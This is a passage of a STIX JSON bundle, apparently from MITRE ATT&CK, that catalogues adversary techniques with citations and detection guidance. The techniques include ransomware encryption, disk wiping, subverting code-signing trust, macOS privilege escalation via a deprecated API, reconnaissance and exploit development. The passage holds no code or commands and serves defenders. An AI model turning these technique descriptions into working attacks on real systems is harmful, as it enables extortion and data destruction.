                    "source_name": "US-CERT SamSam 2018",
                    "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:00.731Z",
            "name": "Data Encrypted for Impact",
            "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)(Citation: Varonis)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1) For example, in AWS environments, adversaries may leverage services such as AWS\u2019s Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.(Citation: Halcyon AWS Ransomware 2025)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Oleg Kolesnikov, Securonix",
                "Mayuresh Dani, Qualys",
                "Harshal Tupsamudre, Qualys",
                "Travis Smith, Qualys",
                "ExtraHop"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\n\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "IaaS",
                "ESXi"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_data_sources": [
                "File: File Modification",
                "Cloud Storage: Cloud Storage Modification",
                "Network Share: Network Share Access",
                "File: File Creation",
                "Command: Command Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7",
            "created": "2019-03-29T14:59:50.763Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1488",
                    "external_id": "T1488"
                },
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:02.275Z",
            "name": "Disk Content Wipe",
            "description": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for unusual kernel driver installation activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_impact_type": [
                "Availability"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7",
            "created": "2020-02-05T14:54:07.588Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553",
                    "external_id": "T1553"
                },
                {
                    "source_name": "SpectorOps Code Signing Dec 2017",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
                },
                {
                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
                },
                {
                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
                },
                {
                    "source_name": "Symantec Digital Certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:00.906Z",
            "name": "Subvert Trust Controls",
            "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Creation",
                "File: File Metadata",
                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Modification",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0",
            "created": "2020-01-30T14:40:20.187Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548/004",
                    "external_id": "T1548.004"
                },
                {
                    "source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
                    "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.",
                    "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg"
                },
                {
                    "source_name": "Carbon Black Shlayer Feb 2019",
                    "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.",
                    "url": "https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"
                },
                {
                    "source_name": "Death by 1000 installers; it's all broken!",
                    "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.",
                    "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8"
                },
                {
                    "source_name": "OSX Coldroot RAT",
                    "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.",
                    "url": "https://objective-see.com/blog/blog_0x2A.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:19.503Z",
            "name": "Elevated Execution with Prompt",
            "description": "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jimmy Astle, @AstleJimmy, Carbon Black",
                "Erika Noerenberg, @gutterchurl, Carbon Black"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code> is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code> is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d",
            "created": "2020-10-02T16:46:42.537Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1592/003",
                    "external_id": "T1592.003"
                },
                {
                    "source_name": "ArsTechnica Intel",
                    "description": "Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020.",
                    "url": "https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:36:31.208Z",
            "name": "Firmware",
            "description": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118",
            "created": "2020-03-16T15:33:01.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1573",
                    "external_id": "T1573"
                },
                {
                    "source_name": "SANS Decrypting SSL",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"
                },
                {
                    "source_name": "SEI SSL Inspection Risks",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:01.172Z",
            "name": "Encrypted Channel",
            "description": "Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.",
            "kill_chain_phases": [
                {
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            "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
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                    "source_name": "Carnal Ownage Password Filters Sept 2013",
                    "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
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                    "source_name": "Clymb3r Function Hook Passwords Sept 2013",
                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
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                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
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                    "source_name": "Microsoft Configure LSA",
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                    "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
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                    "source_name": "FireEye Regsvr32 Targeting Mongolian Gov",
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                    "source_name": "Microsoft Regsvr32",
                    "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.",
                    "url": "https://support.microsoft.com/en-us/kb/249873"
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                    "source_name": "Carbon Black Squiblydoo Apr 2016",
                    "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
                    "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/"
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                {
                    "source_name": "Wikipedia File Header Signatures",
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            "created": "2023-02-27T22:51:27.101Z",
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                    "url": "https://attack.mitre.org/techniques/T1567/003",
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                    "source_name": "Pastebin EchoSec",
                    "description": "Ciarniello, A. (2019, September 24). What is Pastebin and Why Do Hackers Love It?. Retrieved April 11, 2023.",
                    "url": "https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it"
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                    "phase_name": "exfiltration"
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            "x_mitre_detection": "",
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            "x_mitre_version": "1.1",
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            "id": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
            "created": "2017-05-31T21:31:02.188Z",
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                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/639.html",
                    "external_id": "CAPEC-639"
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                {
                    "source_name": "CG 2014",
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                    "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html"
                },
                {
                    "source_name": "SRD GPP",
                    "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
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                {
                    "source_name": "Specter Ops - Cloud Credential Storage",
                    "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.",
                    "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48"
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            "name": "Credentials in Files",
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            "id": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884",
            "created": "2020-10-02T16:42:17.482Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1592/002",
                    "external_id": "T1592.002"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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            "modified": "2025-04-15T23:09:53.612Z",
            "name": "Software",
            "description": "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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            "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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                    "url": "https://attack.mitre.org/techniques/T1128",
                    "external_id": "T1128"
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                {
                    "source_name": "TechNet Netsh",
                    "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.",
                    "url": "https://technet.microsoft.com/library/bb490939.aspx"
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                    "source_name": "Demaske Netsh Persistence",
                    "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.",
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                    "source_name": "Github Netsh Helper CS Beacon",
                    "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.",
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                    "source_name": "Adventures of a Keystroke",
                    "description": "Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
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                    "source_name": "CISA Remote Monitoring and Management Software",
                    "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a"
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                    "source_name": "Unit42 Luna Moth",
                    "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.",
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                    "source_name": "sygnia Luna Month",
                    "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.",
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                    "source_name": "Proofpoint Vishing",
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                    "external_id": "T1587.004"
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                {
                    "source_name": "Irongeek Sims BSides 2017",
                    "description": "Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020.",
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                    "source_name": "NYTStuxnet",
                    "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
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            "name": "Exploits",
            "description": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
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                    "phase_name": "resource-development"
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2020-10-02T16:49:31.262Z",
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                    "url": "https://attack.mitre.org/techniques/T1593/001",
                    "external_id": "T1593.001"
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                {
                    "source_name": "Cyware Social Media",
                    "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.",
                    "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e"
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            "description": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
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            "id": "attack-pattern--bbfbb096-6561-4d7d-aa2c-a5ee8e44c696",
            "created": "2024-07-01T20:06:13.664Z",
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                {
                    "source_name": "Bleeping Computer Bank Hack 2020",
